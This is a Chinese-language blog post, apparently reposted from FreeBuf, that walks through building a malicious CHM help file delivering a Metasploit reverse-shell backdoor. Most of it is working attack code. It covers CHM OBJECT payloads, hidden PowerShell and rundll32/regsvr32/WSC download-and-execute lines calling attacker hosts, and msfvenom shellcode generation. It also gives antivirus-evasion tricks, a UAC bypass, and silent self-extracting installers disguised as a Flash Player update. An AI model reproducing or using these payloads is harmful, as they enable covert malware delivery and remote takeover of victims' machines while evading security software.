CHM渗透:从入门到“入狱”
原文:http://www.freebuf.com/articles/system/119874.html
序
某日嶽兄激动的说他的chm自动反弹shell做好了,急匆匆的拿我们测试,结果…一定是出bug了,我看了下演示(对不起,我实在编不下去了)。文章给出最终版代码,测试的心酸撸主右手可以作证。
第一章 CHM社工
当ithurricanept在发twitter的时候估计我在东北玩泥巴,看了Demo吓得我赶紧注册了个twitter并且Follow了TA。
Demo代码应该是这样的:
<OBJECT id=xclassid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1height=1>
<PARAM name="Command"value="ShortCut">
<PARAM name="Button"value="Bitmap::shortcut">
<PARAM name="Item1"value=',calc.exe'>
<PARAM name="Item2"value="273,1,1">
</OBJECT>
<SCRIPT>
x.Click();
</SCRIPT>
打开该CHM文件即弹出计算器,之后Samratashok也推出了他的Out-CHM(使用参数HHCPath指定自己的hhc路径),使用CHM执行powershell脚本,但唯一不足就是会弹出黑框。
PS D:\nishang\Client> Import-Module.\Out-CHM.ps1
PS D:\nishang\Client> get-help Out-CHM -examples
PS D:\nishang\Client >Out-CHM-PayloadURL http://192.168.254.1/Get-Information.ps1 -HHCPath " C:\ProgramFiles (x86)\HTML Help Workshop"
##反编译CHM
hh -decompile test doc.chm
##Out-CHM PAYLOAD
<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11"width=1 height=1>
<PARAM name="Command" value="ShortCut">
<PARAM name="Button" value="Bitmap::shortcut">
<PARAM name="Item1" value=",cmd.exe,/cC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle Hidden-ExecutionPolicy Bypass -NoLogo -NoProfile IEX ((New-ObjectNet.WebClient).DownloadString('http://192.168.254.1/Get-Information.ps1'));">
<PARAM name="Item2"value="273,1,1">
</OBJECT>
<SCRIPT>
x.Click();
</SCRIPT>
##有用链接
ithurricanept
https://twitter.com/ithurricanept/status/534993743196090368
HTML Help Workshop
http://www.microsoft.com/en-us/download/details.aspx?id=21138
nishang
https://github.com/samratashok/nishang
第二章讨厌的黑框
nishang的黑框真的很让人捉急,不知道他找到解决办法了没,但是国内聪明的Evi1cg在某个晚上突然就想到了,反正他是这么说的。
通过rundll32.exe执行js
rundll32.exejavascript:"\..\mshtml,RunHTMLApplication ";alert('foo');
Rundll32漏洞配合JSRAT做出了近乎完美的后门,写入注册表即可实现开机启动。
注册脚本组件
regsvr32.exe /u /n /s/i:http://10.10.10.10:31337/file.sct scrobj.dll
##有用链接
evi1cg
http://evi1cg.me/archives/chm_backdoor.html
从恶意软件获得的新姿势—通过rundll32.exe执行js原理详细分析
http://bobao.360.cn/learning/detail/164.html
JSRat
https://github.com/Hood3dRob1n/JSRat-Py
第三章强大的Powershell
但是我只想用它来下载一个后门并执行,于是乎开始了各种折腾。首先测试powershell的下载执行,然后嵌入rundll32测试,最后生成CHM再测试。
##Powershell下载并执行
powershell -WindowStyle hidden -nologo -noprofile-ep bypass IEX(New-Object Net.WebClient).DownloadFile('http://xxx.xxx.xxx.xxx/sn.exe','..\\sn.exe');&cmd/c ..\\sn.exe
Powershell的下载可谓是五花八门,最后我还是选择了常用的DownloadFile(),将文件下载到上层目录(当C:\没有权限时powershell就会将文件直接下载到用户当前目录下;env:\temp环境变量在低版本powershell中没有;start-process -nonewwindow ‘sn.exe’似乎不等待下载完成便会调用),并通过&符号连接命令运行下载的程序。
##嵌入rundll32
rundll32.exe,javascript:"\..\mshtml,RunHTMLApplication";document.write();r=new%20ActiveXObject("WScript.Shell").run("powershell-WindowStyle hidden -nologo -noprofile -ExecutionPolicy Bypass IEX (New-ObjectNet.WebClient).DownloadFile("http://139.*.*.*/sn.exe","..\\sn.exe");&cmd/c ..\\sn.exe",0,true);
##生成CHM
<OBJECT id=xclassid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1height=1>
<PARAM name="Command"value="ShortCut">
<PARAM name="Button"value="Bitmap::shortcut">
<PARAM name="Item1"value=',rundll32.exe,javascript:"\..\mshtml,RunHTMLApplication";document.write();r=new%20ActiveXObject("WScript.Shell").run("powershell-WindowStyle hidden -nologo -noprofile -ExecutionPolicy Bypass IEX (New-ObjectNet.WebClient).DownloadFile('http://192.168.0.101/flashplayer23_ha_install.exe','..\\setup.exe');&cmd/c ..\\setup.exe",0,true);'>
<PARAM name="Item2"value="273,1,1">
</OBJECT>
<SCRIPT>
x.Click();
</SCRIPT>
单双引号真的会把人逼疯的,在CHM中需用’代替双引号,尝试使用base64编码powershell命令,但是嵌入rundll32测试语法错误,一时无解。
##有用链接
第四章 msf后门升级
CHM做好了,下面制作后门。开始选用新版cobaltstrike的DNS上线,结果域名测试都没问题,生的的马儿就是不上线,无奈放弃。最后选择msf的reverse_tcp。
生成马儿
msfvenom -a x86 --platform windows -p windows/shell/reverse_tcplhost=192.168.6.12 lport=80 EXITFUNC=thread -e x86/shikata_ga_nai -b '\x00' -i3 -f exe -o /tmp/bdoor.exe
生成shellcode
msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp lhost=192.168.6.12 lport=80 -e x86/shikata_ga_nai -b'\x00' -i 3 -f c
##免杀
OWASP-ZSC
可以生成下载执行,添加用户,创建文件等的shellcode;
听说你可以混淆代码,原来只支持javascript perl php python ruby,更别说混淆现有shellcode了;
https://github.com/zscproject/OWASP-ZSC
Veil-Evasion
使用现有payload一键生成可执行文件。有c,python,go,ruby的meterpreter反弹后门,go和python生成的可执行文件高大4M,还不如自己使用python ctypes加载shellcode,生成exe,实用价值不大。
https://www.veil-framework.com/framework/veil-evasion/
C加载shellcode
传说中的C语言执行shellcode的五种方法只能在VC6.0下通过,VS用户真的伤不起。
VC6.0
main(){
( (void(*)(void))&shellcode )();
}
VS下
话说前两天有人发了(TM后来360也杀了),别紧张,那不是我。msf后面免杀方式多样,但一般也不外乎以下几点。
1,静态文件特征免杀
msfvenom -l encoders提供了多种编码方式,x86/shikata_ga_nai仍是目前excellent。但你一定会喜欢上Unest二进制代码混淆器的。
2,行为查杀
Cobaltstrike http上线方式请求的页面有固定格式,msf对传输的数据可以异或或者加密。
3,内存查杀
其后我将其做成管理员组用户执行直接绕过UAC自动安装成服务,启动延时3分钟(主要是开机的时候可能还没网,连接不成功便会结束程序),在执行绕UAC时system(“cmd.exe /c eventvwr.exe”);时有黑框,使用CreateProcess API创建这个进程。http://www.virustotal.com扫描仅F-PROT报毒(这应该是个梗)。
使用自解压程序安装服务
话说360看到是自解压程序就杀,果然是这样的。
##自解压程序折腾之静默模式
1, 首先能想到的就是winrar,但是winrar自解压换个ico你都杀,一会儿杀一会儿不杀的尿性始终没变;
2, 只要是加UPX壳就杀;
3, IExpress 打包啥都杀;
4, 7-ZIP SFX 自解压;
5, makesfx.exe 新版真心好用,测试一会儿直接杀;
6, ZIP 2 Secure EXE 用起来满满的心累;
7, WinZip Self-Extractor 完成后必须弹框是什么意思?
8, 其他方式
最后还是选用rar的自解压,下载英文版各版本winrar,安装后复制里面的Default.SFX和rar.exe保存,使用不通的rar版本生成自解压程序。
##自解压文件制作
创建Silent.sfx静默安装配置文件,其实就是注释啦。
程序传入bypass参数绕过UAC并安装服务
Setup=wdevmtsvc.exe bypass
TempMode
Silent=1
Overwrite=2
命令行生成自解压文件
rar.exe a -r -ep1 -sfx-zSilent.sfx flashplayer23_ha_install.exe wdevmtsvc.exe
我以为到这里就完了,结果…
##有用链接
Creating a Self-Extracting Setup ExecutableFile
https://msdn.microsoft.com/en-us/library/aa244282%28v=vs.60%29.aspx
makesfx
http://74.cz/en/make-sfx/index.php
Windows-Services-Application
https://github.com/ru0/Windows-Services-Application
第五章 WSC
朋友说吓了一大跳,等了半天也没见上线。再次本地测试,发现powershell被360卫士给拦截了,尼玛,这是啥时候开始的?无奈,为了过360只能抛弃powershell下载,使用wsc下载执行。
Windows Script Components (WSC),以前称为Scriplets,是一种以容易的方式开发强大的COM组件的技术。 WSC可以用任何实现了ActiveX脚本接口的脚本语言来编写,这意味着PerlScript代码单元可以封装为Windows脚本组件。
Tips:当你开始看WSC的时候可能会被它繁多的标签搞得云里雾里,你可以使用scriptwz.exe向导生成wsc文件,或者过一阵子再看。
##通过wsc启动计算器
test.wsc文件
<component>
<script language="JScript">
<![CDATA[
newActiveXObject("WScript.Shell").Run("calc.exe");
]]>
</script>
</component>
1.js文件
GetObject("script:C:\\test.wsc");
执行js
cscript 1.js
加载远程wsc,当然你也可以将下载js代码写在CHM里面,不过使用wsc代码更简洁并且可以及时更新下载程序。
GetObject("script:http://xxx.xxx.xxx.xxx/test.wsc")
##下载并执行wsc脚本
<component>
<script language="JScript">
<![CDATA[
function getFile(strURL){
varstrResult;
try{
varWinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1")
WinHttpReq.Open("GET",strURL,false);
WinHttpReq.Send();
WinHttpReq.WaitForResponse();
strResult= WinHttpReq.ResponseBody;
}
catch(objError){}
returnstrResult;
}
var s = new ActiveXObject("ADODB.Stream");
var md = newActiveXObject("WScript.Shell").SpecialFolders("MyDocuments");
md +="\\flashplayer23_ha_install.exe";
s.Mode=3;
s.Type=1;
s.Open();
try{
s.Write(getFile("http://xxx.xxx.xxx.xxx/flashplayer23_ha_install.exe"));
s.SaveToFile(md,2);
}
catch(err){}
s.Close();
try{
newActiveXObject("WScript.Shell").Run(md);
}
catch(err){}
]]>
</script>
</component>
##嵌入rundll32中
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";document.write();GetObject("script:https://xxx.xxx.xxx.xxx/test.wsc");
##CHM PAYLOAD
<OBJECT id=xclassid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1height=1>
<PARAM name="Command"value="ShortCut">
<PARAMname="Button" value="Bitmap::shortcut">
<PARAM name="Item1"value=',rundll32.exe,javascript:"\..\mshtml,RunHTMLApplication";document.write();try{GetObject("script:https://xxx.xxx.xxx.xxx/test.wsc");}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd/c taskkill /f /im rundll32.exe",0,true);}'>
<PARAM name="Item2"value="273,1,1">
</OBJECT>
<SCRIPT>
x.Click();
</SCRIPT>
用我改版的makeCHM.ps1直接生成CHM文件
.\makeCHM.ps1 -FileName test.htm
实际打点效果(windows/shell/reverse_tcp 连接容易失去响应)
##有用链接
Windows Script Components (WSC)
http://www.xav.com/perl/Windows/windows_script_components.html
Registering a Script Component
https://msdn.microsoft.com/en-us/library/zt97f40t%28v=vs.84%29.aspx
ru0 s githubhttps://github.com/ru0
1,如何对CHM后门检测。
2,msf虽然简单易用,但是没有会话控制,很容易丢失目标,后期可以考虑自写回连shell代码。
3,对于“没给钱”的服务360卫士检测为“无需启动的程序”。
4,自解压逃不过360sd,考虑自写解压程序或者修改服务程序。
5,若有纰漏,还望指正。
*本文原创作者:ruo ,本文属FreeBuf原创奖励计划,未经许可禁止转载。
作者:ssooking 联系邮箱:c3Nvb2tpbmdAeWVhaC5uZXQ=
若无特殊说明,所发博文皆为原创,转载请务必注明出处、保留原文地址。欢迎交流分享!如果您有任何问题,请联系我!